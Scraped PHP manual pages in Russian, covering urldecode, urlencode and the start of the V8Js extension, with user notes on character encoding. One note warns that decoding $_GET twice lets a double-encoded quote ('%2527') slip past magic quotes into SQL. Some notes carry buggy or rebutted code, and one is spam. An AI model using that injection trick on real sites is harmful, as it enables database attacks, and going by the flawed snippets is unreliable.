For some reason, a variable with an ampersand would stay encoded while other POST variables were automatically decoded. I concatenated data from an html form before submitting, in case you wish to know what happened on the browser end.
aravind dot a dot padmanabhan at gmail dot com 02-Sep-2013 10:26
It seems that the $_REQUEST global parameter is automatically decoded only if the content type is application/x-www-form-urlencoded.

if the content type is multipart/form-data. the data remains un-decoded. and we have to manually handle the decoding at our end
alejandro at devenet dot net 14-Dec-2010 06:27
When the client send Get data, utf-8 character encoding have a tiny problem with the urlencode.
Consider the "?" character.
Some clients can send (as example)
foo.php?myvar=%BA
and another clients send
foo.php?myvar=%C2%BA (The "right" url encoding)

in this scenary, you assign the value into variable $x

<?php
$x = $_GET['myvar'];
?>

$x store: in the first case "?" (bad) and in the second case "?" (good)

To fix that, you can use this function:

<?php
function to_utf8( $string ) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
    if ( preg_match('%^(?:
      [\x09\x0A\x0D\x20-\x7E]            # ASCII
    | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
    | \xE0[\xA0-\xBF][\x80-\xBF]         # excluding overlongs
    | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
    | \xED[\x80-\x9F][\x80-\xBF]         # excluding surrogates
    | \xF0[\x90-\xBF][\x80-\xBF]{2}      # planes 1-3
    | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
    | \xF4[\x80-\x8F][\x80-\xBF]{2}      # plane 16
)*$%xs', $string) ) {
        return $string;
    } else {
        return iconv( 'CP1252', 'UTF-8', $string);
    }
}
?>

and assign in this way:

<?php
$x = to_utf8( $_GET['myvar'] );
?>

$x store: in the first case "?" (good) and in the second case "?" (good)

Solve a lot of i18n problems.

Please fix the auto-urldecode of $_GET var in the next PHP version.

Bye.

Alejandro Salamanca
mail dot roliveira at gmail dot com 19-May-2009 04:50
Send json to PHP via AJAX (POST)

If you send json data via ajax, and encode it with encodeURIComponent in javascript, then on PHP side, you will have to do stripslashes on your $_POST['myVar'].

After this, you can do json_decode on your string.

Ex.:

<?php
// first use encodeURIComponent on javascript to encode the string
// receive json string and prepare it to json_decode
$jsonStr = stripslashes ($_POST['action']);
// decode to php object
$json = json_decode ($jsonStr);

// $json is now a php object
?>
Jan Vratny 12-Jun-2008 05:09
mkaganer at gmail dot com:

try using encodeURI() instead of encode() in javascript. That worked for me, while your solution did not on __some__ national characters (at least in IE6).
Joe 03-Apr-2008 11:11
It's worth pointing out that if you are using AJAX and need to encode strings that are being sent to a PHP application, you may not need to decode them in PHP.

<?php
echo stripslashes(nl2br($_POST['message']));
?>

Will properly output a message sent with the javascript code if the message is encoded:

message = encodeURIComponent(message)

And is sent with an AJAX POST request with the header:
ajaxVar.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
mkaganer at gmail dot com 04-Dec-2007 02:58
B.H.

I had troubles converting Unicode-encoded data in $_GET (like this: %u05D8%u05D1%u05E2) which is generated by JavaScript's escape() function to UTF8 for server-side processing.

Finally, i've found a simple solution (only 3 lines of code) that does it (at least in my configuration):

<?php
  function utf8_urldecode($str) {
    $str = preg_replace("/%u([0-9a-f]{3,4})/i","&#x\\1;",urldecode($str));
    return html_entity_decode($str,null,'UTF-8');;
  }
?>

note that documentation for html_entity_decode() states that "Support for multi-byte character sets was added at PHP 5.0.0" so this might not work for PHP 4
Visual 18-May-2006 12:02
If you are escaping strings in javascript and want to decode them in PHP with urldecode (or want PHP to decode them automatically when you're putting them in the query string or post request), you should use the javascript function encodeURIComponent() instead of escape(). Then you won't need any of the fancy custom utf_urldecode functions from the previous comments.
rosty dot kerei at gmail dot com 19-Apr-2006 09:40
This function doesn't decode unicode characters. I wrote a function that does.

function unicode_urldecode($url)
{
    preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

    foreach ($a[1] as $uniord)
    {
        $dec = hexdec($uniord);
        $utf = '';

        if ($dec < 128)
        {
            $utf = chr($dec);
        }
        else if ($dec < 2048)
        {
            $utf = chr(192 + (($dec - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }
        else
        {
            $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
            $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }

        $url = str_replace('%u'.$uniord, $utf, $url);
    }

    return urldecode($url);
}
spam at soiland dot no 05-Apr-2005 05:45
About reg_var and "html reserved words"

Do not add spaces as the user suggests.

Instead, do what all HTML standards says and encode & in URLs as &amp; in your HTML.

The reason why & works "most of the time" is that browsers are forgiving and just decode the & as the &-sign. This breaks whenever you have a variable that matches an HTML entity, like "gt" or "copy" or whatever. &copy in your URL will be interpreted as &copy;  (the ; is not mandatory in SGML as it is "implied". In XML it is mandatory.).   The result will be the same as if you had inserted the actual character into your source code, for instance by pressing alt-0169 and actually inserted ? in your HTML.

Ie, use:

<a href="?name=stain&amp;fish=knott">mylink</a>

Note that the decoding of &amp; to & is done in the browser, and it's done right after splitting the HTML into tags, attributes and content, but it works both for attributes and content.

This mean you should &entitify all &-s in any other HTML attributes as well, such as in a form with
<input name="fish" value="fish &amp; fries" />.
Matt Johnson 25-Dec-2004 04:49
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
caribe at flash-brasil dot com dot br 13-Oct-2003 01:55
To allow urldecode to work with Brazilian characters as ? ? ? and other just place this header command :

header('Content-type: text/html; CHARSET=Windows-1251');
09-Oct-2003 08:17
nataniel, your function needs to be corrected as follows:

------------------------------------------------------------
function unicode_decode($txt) {
  return ereg_replace('%u([[:alnum:]]{4})', '&#x\1;',$txt);
}
------------------------------------------------------------

since some codes does not begin with %u0.
tomas at penajaca dot com dot br 20-Jul-2003 11:14
urldecode does not decode "%0"  bypassing it. I can cause troble when you are working with fixed lenght strings.

You can you the function below.

function my_urldecode($string){

  $array = split ("%",$string);

  if (is_array($array)){
    while (list ($k,$v) = each ($array)){
       $ascii = base_convert ($v,16,10);
       $ret .= chr ($ascii);
    }
 }
 return ("$ret");
}
regindk at hotmail dot com 23-Apr-2003 06:00
About: bellani at upgrade4 dot it
$str = "pippo.php?param1=&reg_var";
echo rawurldecode($str);
Gives:
pippo.php?param1=?_var
Instead of using a space you should exchange & with the correct W3C &amp;
Like this:
$str = "pippo.php?param1=&amp;reg_var";
echo rawurldecode($str);
bellani at upgrade4 dot it 11-Mar-2003 10:12
If you have a "html reserved word" as variable name (i.e. "reg_var") and you pass it as an argument you will get  a wrong url. i.e.

<a href="pippo.php?param1=&reg_var=">go</a>

you will get a wrong url like this

"pippo.php?param1=?_var"

Simply add a space between "&" and "reg_var" and it will work!

<a href="pippo.php?param1=& reg_var=">go</a>

"pippo.php?param1=&%20reg_var"

Works!!
smolniy at mtu dot ru 07-Feb-2003 02:42
For compatibility of new and old brousers:

%xx -> char
%u0xxxx -> char

function unicode_decode($txt) {
 $txt = ereg_replace('%u0([[:alnum:]]{3})', '&#x\1;',$txt);
 $txt = ereg_replace('%([[:alnum:]]{2})', '&#x\1;',$txt);
 return ($txt);
}
igjav at cesga dot es 16-May-2002 11:48
This seems to decode correctly between most browsers and charater coding configurations. Specially indicated for direct parsing of URL as it comes on environment variables:

function crossUrlDecode($source) {
    $decodedStr = '';
    $pos = 0;
    $len = strlen($source);

    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '?') {
            $char2 = substr($source, $pos, 2);
            $decodedStr .= htmlentities(utf8_decode($char2),ENT_QUOTES,'ISO-8859-1');
            $pos += 2;
        }
        elseif(ord($charAt) > 127) {
            $decodedStr .= "&#".ord($charAt).";";
            $pos++;
        }
        elseif($charAt == '%') {
            $pos++;
            $hex2 = substr($source, $pos, 2);
            $dechex = chr(hexdec($hex2));
            if($dechex == '?') {
                $pos += 2;
                if(substr($source, $pos, 1) == '%') {
                    $pos++;
                    $char2a = chr(hexdec(substr($source, $pos, 2)));
                    $decodedStr .= htmlentities(utf8_decode($dechex . $char2a),ENT_QUOTES,'ISO-8859-1');
                }
                else {
                    $decodedStr .= htmlentities(utf8_decode($dechex));
                }
            }
            else {
                $decodedStr .= $dechex;
            }
            $pos += 2;
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    return $decodedStr;
}


URL-кодирование строки

  • « urldecode
  • V8js »
  • PHP Manual
  • Функции URL
  • URL-кодирование строки

urlencode

(PHP 4, PHP 5, PHP 7, PHP 8)

urlencode — URL-кодирование строки

Описание

urlencode(string $string): string

Эта функция удобна, когда закодированная строка будет использоваться в запросе, как часть URL, в качестве удобного способа передачи переменных на следующую страницу.

Список параметров

string

Строка, которая должна быть закодирована.

Возвращаемые значения

Возвращает строку, в которой все не цифро-буквенные символы, кроме -_. должны быть заменены знаком процента (%), за которым следует два шестнадцатеричных числа, а пробелы закодированы как знак сложения (+). Строка кодируется тем же способом, что и POST-данные веб-формы, то есть по типу контента application/x-www-form-urlencoded. Это отличается от кодирования по » RFC 3986 (смотрите rawurlencode() ) в том, что по историческим причинам, пробелы кодируются как знак "плюс" (+).

Примеры

Пример #1 Пример использования urlencode()

<?php
$userinput = 'Data123!@-_ +';
echo "Пользовательские данные: $userinput\n";
echo '<a href="mycgi?foo=', urlencode($userinput), '">';
?>

Результат выполнения данного примера:

Пользовательские данные: Data123!@-_ +
<a href="mycgi?foo=Data123%21%40-_+%2B">

Пример #2 Пример использования urlencode() и htmlentities()

<?php
$foo = 'Data123!@-_ +';
$bar = "Содержимое, отличное от $foo";
echo "foo: $foo\n";
echo "bar: $bar\n";
$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);
echo '<a href="mycgi?' . htmlentities($query_string) . '">';
?>

Результат выполнения данного примера:

foo: Data123!@-_ +
bar: Содержимое, отличное от Data123!@-_ +
<a href="mycgi?foo=Data123%21%40-_+%2B&amp;bar=Not+the+same+content+as+Data123%21%40-_+%2B">

Примечания

Замечание:

Будьте внимательны с переменными, которые могут совпадать с элементами HTML. Такие сущности как &amp, &copy и &pound разбираются браузером и используется как реальная сущность, а не желаемое имя переменной. Это очевидный конфликт, на который W3C указывает в течение многих лет. Смотрите подробности: » http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2

PHP поддерживает изменение разделителя аргументов на рекомендуемый W3C символ "точку с запятой" путём изменения директивы arg_separator в .ini файле. К сожалению, большинство пользовательских приложений не отправляют данные формы в формате с разделителем "точка с запятой". Более переносимый способ решить эту проблему - это использовать &amp; вместо & в качестве разделителя. Вам не нужно будет для этого изменять PHP-директиву arg_separator. Оставьте разделитель как &, но кодируйте ваши URL с помощью htmlentities() или htmlspecialchars().

Смотрите также

  • urldecode() - Декодирование URL-кодированной строки
  • htmlentities() - Преобразует все возможные символы в соответствующие HTML-сущности
  • rawurlencode() - URL-кодирование строки согласно RFC 3986
  • rawurldecode() - Декодирование URL-кодированной строки
  • » RFC 3986

User Contributed Notes

materialsmoke at gmail dot com 29-Aug-2023 12:31
this function will encode the URL while preserving the functionality of URL so you can copy and paste it in the browser
```
function urlEncode($url) {
    $parsedUrl = parse_url($url);

    $encodedScheme = urlencode($parsedUrl['scheme']);
    $encodedHost = urlencode($parsedUrl['host']);

    $encodedPath = implode('/', array_map('urlencode', explode('/', $parsedUrl['path'])));
    if (isset($parsedUrl['query'])) {
        $encodedQuery = '?' . urlencode($parsedUrl['query']);
    } else {
        $encodedQuery = '';
    }

    return "{$encodedScheme}://{$encodedHost}{$encodedPath}{$encodedQuery}";
}
```
GeorgeOxymn 10-Sep-2021 10:58
Стань королем настоящего средневекового королевства!
Захватывающая RPG игра и симулятор замка
https://fas.st/tdhru
lekiagospel@gmail dot com 18-Nov-2020 04:22
urlencode is useful when using certain URL shortener services.

The returned URL from the shortener may be truncated if not encoded. Ensure the URL is encoded before passing it to a shortener.

Example

$url = "https://www.notarealurl.com?id=50&name=namestring";
$encodedurl = urlencode($url);
$shorturl = UrlShortener::shortenUrl( $encodedurl);
no_gravity 16-Jan-2020 12:00
I think the description does not exactly match what the function does:

    Returns a string in which all non-alphanumeric characters
    except -_. have been replaced with a percent (%) sign followed
    by two hex digits and spaces encoded as plus (+) signs.

urlencode('o') gives me '%C3%B6'. So more then just a percent sign followed by two hex digits.
admin at server dot net 20-Sep-2019 06:12
urlencode corresponds to the definition for application/x-www-form-urlencoded in RFC 1866 (https://tools.ietf.org/html/rfc1866#section-8.2.1), and not for url encoded parts in URI. Use only rawurlencode for encode raw URI parts (e.g. query/search part)!
youhanasobhy15 at gmail dot com 26-Feb-2018 10:22
Keep in mind that, if you prepare URL for a connection and used the urlencode on some parameters and didn't use it on the rest of parameters, it will not be decoded automatically at the destination position if the not encoded parameters have special characters that urlencode encodes it.

example :

$xml = simplexml_load_file("http://www.testing.com?me=test&first=".urlencode('dummy string')."&second=here is the string");

here is the second parameter has spaces which urlencode converts it to (+).

after using this URL, the server will discover that the second parameter has not been encoded , then the server will not decode it automatically.

this took more than 2 hours to be discovered and hope to save your time.
david winiecki gmail 10-Dec-2014 06:52
Since PHP 5.3.0, urlencode and rawurlencode also differ in that rawurlencode does not encode ~ (tilde), while urlencode does.
nehuensd at gmail dot com 03-Jun-2014 02:31
if you have a url like this: test-blablabla-4>3-y-3<6 or with any excluded US-ASCII Characters (see chapter 2.4.3 on http://www.ietf.org/rfc/rfc2396.txt) you can use urlencode two times for fix the 403 error.

Example:
.htaccess
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^test-(.*)$ index.php?token=$1

index.php
<?php
    var_dump($_GET);

    $foo = 'test-bla-bla-4>2-y-3<6';
    $foo_encoded = urlencode(urlencode($foo));
?>
<a href="<?=$foo_encoded;?>"><?=$foo_encoded;?></a>

look on index.php
array (size=0)
  empty
test-bla-bla-4%253E2-y-3%253C6

look on test-bla-bla-4%253E2-y-3%253C6
array (size=1)
  'token' => string 'bla-bla-4>2-y-3<6' (length=17)
test-bla-bla-4%253E2-y-3%253C6

the problem is that the characters are decoded 2 times, 1 single, the first time mod_rewrite, the second is to create the php $ _GET array.

also, you can use this technique to the same as the complex functions of other notes.
izhankhalib at gmail dot com 06-Nov-2013 07:33
Below is our jsonform source code in  mongo db which consists a lot of double quotes. we are able to pass this source code to the ajax form submit function by using php urlencode :

<script type="text/javascript">
$(function() {
      // Generate a form using jquery.dfrom
        $("#myform").dform({

        "html":[
            {
                "type":"p",
                "html":"Patient Record"
            },
            {
                "name":"patient.name.first",
                "id":"txt-patient.name.first",
                "caption":"first name",
                "type":"text",
            },
            {

                "name":"patient.name.last",
                "id":"txt-patient.name.last",
                "caption":"last name",
                "type":"text",
            },
            {
               "type" : "submit",
              }

        ]
    });
    });
</script>
<form id="myform">

<?php
//get the json source code from the mongodb
$jsonform= urlencode($this->data['Post']['jsonform']);

?>
//AJAX SUBMIT FORM
<script type="text/javascript">
$('#myform').submit(function(){

    //    passing the variable fro PHP to javascript
        var thejsonform="<?php echo $jsonform ?>";

  //var fname = $('input#fname').val();
  var dataString = "jsonform=" + thejsonform ;

    $.ajax({
          type: "POST",
        //  url: "test1.php",
          data: dataString,
          success: function() {

          }
         });

return false;
});
homebot at yandex dot ru 31-Jul-2013 03:44
Simple static class for array URL encoding

[code]

<?php

/**
*
*  URL Encoding class
*  Use : urlencode_array::go() as function
*
*/
class urlencode_array
{

  /** Main encoding worker
  * @param string $perfix
  * @param array $array
  * @param string $ret byref Push record to return array
  * @param mixed $fe Is first call to function?
  */
  private static function encode_part($perfix, $array, &$ret, $fe = false)
  {
    foreach ( $array as $k => $v )
    {
      switch ( gettype($v))
      {
        case 'float'   :
        case 'integer' :
        case 'string'  : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = $v; break;
        case 'boolean' : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = ( $v ? '1' : '0' ); break;
        case 'null'    : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = 'NULL'; break;
        case 'object'  : $v = (array) $v;
        case 'array'   : self::encode_part( $fe?$perfix.$k:$perfix.'['.$k.']' , $v, $ret, false); break;
      }
    }
  }

  /** UrlEncode Array
  * @param mixed $array Array or stdClass to encode
  * @returns string Strings ready for send as 'application/x-www-form-urlencoded'
  */
  public static function go($array)
  {
    $buff = array();
    if ( gettype($array) == 'object') $array = (array) $array;
    self::encode_part('', $array, $buff, true);
    $retn = '';
    foreach ( $buff as $k => $v )
      $retn .= urlencode($k) . '=' . urlencode($v) . '&';
    return $retn;
  }
}

#-------------------------------- TEST AREA ------------------------------------

$buffer = array(
  'master'  =>'master.zenith.lv',
  'join'    =>array('slave'=>'slave1.zenith.lv','slave2'=>array('node1.slave2.zenith.lv','slave2.zenith.lv')),
  'config'  => new stdClass()
);
$buffer['config']->MaxServerLoad  = 200;
$buffer['config']->MaxSlaveLoad   = 100;
$buffer['config']->DropUserNoWait = true;

$buffer = urlencode_array::go($buffer);
parse_str( $buffer , $data_decoded);

header('Content-Type: text/plain; CHARSET=Windows-1251');
echo 'Encoded String :' . str_repeat('-', 80) . "\n";
echo $buffer;
echo str_repeat("\n", 3) . 'Decoded String byPhp :' . str_repeat('-', 80) . "\n";
print_r($data_decoded);

[/code]
davis dot peixoto at gmail dot com 18-May-2010 06:53
urlencode function and rawurlencode are mostly based on RFC 1738.

However, since 2005 the current RFC in use for URIs standard is RFC 3986.

Here is a function to encode URLs according to RFC 3986.

<?php
function myUrlEncode($string) {
    $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');
    $replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%", "#", "[", "]");
    return str_replace($entities, $replacements, urlencode($string));
}
?>
frx dot apps at gmail dot com 07-Apr-2010 08:48
I wrote this simple function that creates a GET query (for URLS) from an array:

<?php
function encode_array($args)
{
  if(!is_array($args)) return false;
  $c = 0;
  $out = '';
  foreach($args as $name => $value)
  {
    if($c++ != 0) $out .= '&';
    $out .= urlencode("$name").'=';
    if(is_array($value))
    {
      $out .= urlencode(serialize($value));
    }else{
      $out .= urlencode("$value");
    }
  }
  return $out . "\n";
}
?>

If there are arrays within the $args array, they will be serialized before being urlencoded.

Some examples:
<?php
echo encode_array(array('foo' => 'bar'));                    // foo=bar
echo encode_array(array('foo&bar' => 'some=weird/value'));   // foo%26bar=some%3Dweird%2Fvalue
echo encode_array(array('foo' => 1, 'bar' =>  'two'));       // foo=1&bar=two
echo encode_array(array('args' => array('key' => 'value'))); // args=a%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22value%22%3B%7D
?>
omid at omidsakhi dot com 24-Feb-2010 11:17
I needed a function in PHP to do the same job as the complete escape function in Javascript. It took me some time not to find it. But findaly I decided to write my own code. So just to save time:

<?php
function fullescape($in)
{
  $out = '';
  for ($i=0;$i<strlen($in);$i++)
  {
    $hex = dechex(ord($in[$i]));
    if ($hex=='')
       $out = $out.urlencode($in[$i]);
    else
       $out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex)));
  }
  $out = str_replace('+','%20',$out);
  $out = str_replace('_','%5F',$out);
  $out = str_replace('.','%2E',$out);
  $out = str_replace('-','%2D',$out);
  return $out;
 }
?>

It can be fully decoded using the unscape function in Javascript.
temu92 at gmail dot com 23-Jul-2009 10:44
I needed encoding and decoding for UTF8 urls, I came up with these very simple fuctions. Hope this helps!

<?php
    function url_encode($string){
        return urlencode(utf8_encode($string));
    }

    function url_decode($string){
        return utf8_decode(urldecode($string));
    }
?>
daniel+php at danielnorton dot com 29-Jun-2009 07:24
Don't use urlencode() or urldecode() if the text includes an email address, as it destroys the "+" character, a perfectly valid email address character.

Unless you're certain that you won't be encoding email addresses AND you need the readability provided by the non-standard "+" usage, instead always use use rawurlencode() or rawurldecode().
Mark Seecof 23-Sep-2008 04:34
When using XMLHttpRequest or another AJAX technique to submit data to a PHP script using GET (or POST with content-type header set to 'x-www-form-urlencoded') you must urlencode your data before you upload it.  (In fact, if you don't urlencode POST data MS Internet Explorer may pop a "syntax error" dialog when you call XMLHttpRequest.send().)  But, you can't call PHP's urlencode() function in Javascript!  In fact, NO native Javascript function will urlencode data correctly for form submission.  So here is a function to do the job fairly efficiently:

<?php /******

<script type="text/javascript" language="javascript1.6">
 // PHP-compatible urlencode() for Javascript
 function urlencode(s) {
  s = encodeURIComponent(s);
  return s.replace(/~/g,'%7E').replace(/%20/g,'+');
 }

 // sample usage:  suppose form has text input fields for
 // country, postcode, and city with id='country' and so-on.
 // We'll use GET to send values of country and postcode
 // to "city_lookup.php" asynchronously, then update city
 // field in form with the reply (from database lookup)

 function lookup_city() {
  var elm_country = document.getElementById('country');
  var elm_zip = document.getElementById('postcode');
  var elm_city = document.getElementById('city');
  var qry = '?country=' + urlencode(elm_country.value) +
                '&postcode=' + urlencode(elm_zip.value);
  var xhr;
  try {
   xhr = new XMLHttpRequest(); // recent browsers
  } catch (e) {
   alert('No XMLHttpRequest!');
   return;
  }
  xhr.open('GET',('city_lookup.php'+qry),true);
  xhr.onreadystatechange = function(){
    if ((xhr.readyState != 4) || (xhr.status != 200)) return;
    elm_city.value = xhr.responseText;
  }
  xhr.send(null);
 }
</script>

******/ ?>
root at jusme dot org 12-Aug-2008 05:12
I'm running PHP version 5.0.5 and urlencode() doesn't seem to encode the "#" character, although the function's description says it encodes "all non-alphanumeric" characters. This was a particular problem for me when trying to open local files with a "#" in the filename as Firefox will interpret this as an anchor target (for better or worse). It seems a manual str_replace is required unless this was fixed in a future PHP version.

Example:

$str = str_replace("#", "%23", $str);
ahrensberg at gmail dot com 04-Aug-2007 05:04
Like "Benjamin dot Bruno at web dot de" earlier has writen, you can have problems with encode strings with special characters to flash. Benjamin write that:

<?php
   function flash_encode ($input)
   {
      return rawurlencode(utf8_encode($input));
   }
?>

... could do the problem. Unfortunately flash still have problems with read some quotations, but with this one:

<?php
   function flash_encode($string)
   {
      $string = rawurlencode(utf8_encode($string));

      $string = str_replace("%C2%96", "-", $string);
      $string = str_replace("%C2%91", "%27", $string);
      $string = str_replace("%C2%92", "%27", $string);
      $string = str_replace("%C2%82", "%27", $string);
      $string = str_replace("%C2%93", "%22", $string);
      $string = str_replace("%C2%94", "%22", $string);
      $string = str_replace("%C2%84", "%22", $string);
      $string = str_replace("%C2%8B", "%C2%AB", $string);
      $string = str_replace("%C2%9B", "%C2%BB", $string);

      return $string;
   }
?>

... should solve this problem.
in reply to "kL" 20-Feb-2007 01:23
kL's example is very bugged since it loops itself and the encode function is two-way.

Why do you replace all %27 through '  in the same string in that you replace all ' through %27?

Lets say I have a string: Hello %27World%27. It's a nice day.
I get: Hello Hello 'World'. It%27s a nice day.

With other words that solution is pretty useless.

Solution:
Just replace ' through %27 when encoding
Just replace %27 through ' when decoding. Or just use url_decode.
kL 06-Sep-2006 05:13
Apache's mod_rewrite and mod_proxy are unable to handle urlencoded URLs properly - http://issues.apache.org/bugzilla/show_bug.cgi?id=34602

If you need to use any of these modules and handle paths that contain %2F or %3A (and few other encoded special url characters), you'll have use a different encoding scheme.

My solution is to replace "%" with "'".
<?php
function urlencode($u)
{
    return str_replace(array("'",'%'),array('%27',"'"),urlencode($u));
}

function urldecode($u)
{
    return urldecode(strtr($u,"'",'%'));
}
?>
torecs at sfe dot uio dot no 10-Jan-2006 03:30
This very simple function makes an valid parameters part of an URL, to me it looks like several of the other versions here are decoding wrongly as they do not convert & seperating the variables into &amp;.

  $vars=array('name' => 'tore','action' => 'sell&buy');
  echo MakeRequestUrl($vars);

  /* Makes an valid html request url by parsing the params array
   * @param $params The parameters to be converted into URL with key as name.
   */
  function MakeRequestUrl($params)
  {
      $querystring=null;
    foreach ($params as $name => $value)
    {
      $querystring=$name.'='.urlencode($value).'&'.$querystring;
    }
      // Cut the last '&'
      $querystring=substr($querystring,0,strlen($querystring)-1);
      return htmlentities($querystring);
  }

  Will output: action=sell%26buy&amp;name=tore
bisqwit at iki dot fi 02-Sep-2005 01:27
Constructing hyperlinks safely HOW-TO:

<?php
$path_component = 'machine/generated/part';
$url_parameter1 = 'this is a string';
$url_parameter2 = 'special/weird "$characters"';

$url = 'http://example.com/lab/cgi/test/'. rawurlencode($path_component) . '?param1=' . urlencode($url_parameter1) . '&param2=' . urlencode($url_parameter2);

$link_label = "Click here & you'll be <happy>";

echo '<a href="', htmlspecialchars($url), '">', htmlspecialchars($link_label), '</a>';
?>

This example covers all the encodings you need to apply in order to create URLs safely without problems with any special characters. It is stunning how many people make mistakes with this.

Shortly:
- Use urlencode for all GET parameters (things that come after each "=").
- Use rawurlencode for parts that come before "?".
- Use htmlspecialchars for HTML tag parameters and HTML text content.
R Mortimer 26-Aug-2005 01:14
Do not let the browser auto encode an invalid URL. Not all browsers perform the same encodeing. Keep it cross browser do it server side.
edwardzyang at thewritingpot dot com 15-Apr-2005 01:48
I was testing my input sanitation with some strange character entities. Ones like ? and ? were passed correctly and were in their raw form when I passed them through without any filtering.

However, some weird things happen when dealing with characters like (these are HTML entities): &#8252; &#9616; &#9488;and &#920; have weird things going on.

If you try to pass one in Internet Explorer, IE will *disable* the submit button. Firefox, however, does something weirder: it will convert it to it's HTML entity. It will display properly, but only when you don't convert entities.

The point? Be careful with decorative characters.

PS: If you try copy/pasting one of these characters to a TXT file, it will translate to a ?.
neugey at cox dot net 17-Sep-2004 01:51
Be careful when encoding strings that came from simplexml in PHP 5.  If you try to urlencode a simplexml object, the script tanks.

I got around the problem by using a cast.

$newValue = urlencode( (string) $oldValue );
monty3 at hotmail dot com 09-Sep-2004 01:00
If you want to pass a url with parameters as a value IN a url AND through a javascript function, such as...

   <a href="javascript:openWin('page.php?url=index.php?id=4&pg=2');">

...pass the url value through the PHP urlencode() function twice, like this...

<?php

   $url = "index.php?id=4&pg=2";
   $url = urlencode(urlencode($url));

   echo "<a href=\"javascript:openWin('page.php?url=$url');\">";
?>

On the page being opened by the javascript function (page.php), you only need to urldecode() once, because when javascript 'touches' the url that passes through it, it decodes the url once itself. So, just decode it once more in your PHP script to fully undo the double-encoding...

<?php

   $url = urldecode($_GET['url']);
?>

If you don't do this, you'll find that the result url value in the target script is missing all the var=values following the ? question mark...

   index.php?id=4


Интеграция V8 Javascript Engine

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Примеры
  • V8Js — Класс V8Js
    • V8Js::__construct — Создаёт новый объект V8Js
    • V8Js::executeString — Выполнить строку как код Javascript
    • V8Js::getExtensions — Возвращает массив зарегистрированных модулей
    • V8Js::getPendingException — Возвращает ожидающее непойманное исключение Javascript
    • V8Js::registerExtension — Регистрация модуля Javascript для V8Js
  • V8JsException — Класс V8JsException
    • V8JsException::getJsFileName — Получить имя файла JavaScript
    • V8JsException::getJsLineNumber — Получить номер строки
    • V8JsException::getJsSourceLine — Получить исходную строку JavaScript
    • V8JsException::getJsTrace — Получить стек вызовов

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль включает » V8 Javascript Engine в PHP.

User Contributed Notes

There are no user contributed notes for this page.


Требования

PHP, библиотеки и заголовочные файлы V8 установленные по правильному пути.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/v8js

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки V8js
Имя | По умолчанию | Место изменения | Список изменений
v8js.max_disposed_contexts | 25 | PHP_INI_ALL |
v8js.flags |  | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

v8js.max_disposed_contexts int

Устанавливает предел размещённого контекста, после которого V8 принудительно запустит сборщик мусора.

v8js.flags string

Устанавливает флаги командной строки V8. Список доступных флагов можно посмотреть в режиме CLI, задав параметр --help. Пример:

$ php -r 'ini_set("v8js.flags", "--help"); new V8Js;' | less

Замечание:

Для эффективного управления флагами во время исполнения используйте ini_set() перед тем, как создавать объекты V8Js!

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Основы использования

Пример #1 Запуск Javascript

<?php

$v8 = new V8Js();

/* basic.js */
$JS = <<< EOT
len = print('Hello' + ' ' + 'World!' + "\\n");
len;
EOT;

try {
var_dump($v8->executeString($JS, 'basic.js'));
} catch (V8JsException $e) {
var_dump($e);
}

?>

Результат выполнения данного примера:

Hello World!
int(13)

User Contributed Notes

nabikaz at gmail dot com 02-Mar-2023 02:09
If you want the output of the JS code not to be printed in the output and have it in PHP:

<?php
// Create a new V8Js object
$v8 = new V8Js();

// Define a JavaScript function
$JS = <<<EOT
    (function() {
        return 'Hello World!';
    })();
EOT;

// Execute the JavaScript function using V8js
$result = $v8->executeString($JS);

// Output the result
var_dump($result);
?>

Output:
string(12) "Hello World!"


Класс V8Js

(PECL v8js >= 0.1.0)

Введение

Это основной класс модуля V8Js. Каждый экземпляр этого класса имеет собственный контекст в котором будет скомпилирован и запущен JavaScript.

Также смотрите V8Js::__construct().

Обзор классов

class V8Js {
/* Константы */
